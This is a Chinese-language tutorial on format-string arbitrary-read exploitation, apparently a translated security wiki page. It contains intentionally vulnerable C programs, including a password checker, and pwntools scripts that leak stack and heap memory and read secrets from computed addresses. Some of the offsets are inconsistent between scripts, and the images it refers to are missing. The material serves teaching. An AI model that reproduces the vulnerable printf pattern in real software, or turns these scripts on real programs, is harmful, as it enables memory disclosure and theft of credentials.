Format Strings - Arbitrary Read Example

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读取二进制开始

代码

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

用以下命令编译：

clang -o fs-read fs-read.c -Wno-format-security -no-pie

利用

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

• 偏移量是 11，因为设置多个 A 并且 暴力破解从 0 到 50 的循环发现，在偏移量 11 处，加上 5 个额外字符（在我们这个例子中是管道 |），可以控制一个完整的地址。

• 我使用了 %11$p，并填充到地址全为 0x4141414141414141。

• 格式字符串有效负载在地址之前，因为 printf 在遇到空字节时停止读取，所以如果我们先发送地址再发送格式字符串，printf 将永远无法到达格式字符串，因为在此之前会找到一个空字节。

• 选择的地址是 0x00400000，因为这是二进制文件的起始位置（没有 PIE）。

读取密码

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

用以下命令编译：

clang -o fs-read fs-read.c -Wno-format-security

从栈中读取

stack_password 将存储在栈中，因为它是一个局部变量，因此仅仅利用 printf 显示栈的内容就足够了。这是一个利用前 100 个位置泄露栈中密码的漏洞：

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

在图像中可以看到，我们可以从栈中泄露第 10 个位置的密码：

读取数据

运行相同的利用，但使用 %p 而不是 %s，可以从栈中泄露一个堆地址，位于 %25$p。此外，将泄露的地址（0xaaaab7030894）与该进程中密码在内存中的位置进行比较，我们可以获得地址差：

现在是时候找到如何控制栈中的一个地址，以便从第二个格式字符串漏洞访问它：

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

并且可以看到在 try 14 中，使用的传递方式可以控制一个地址：

Exploit

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

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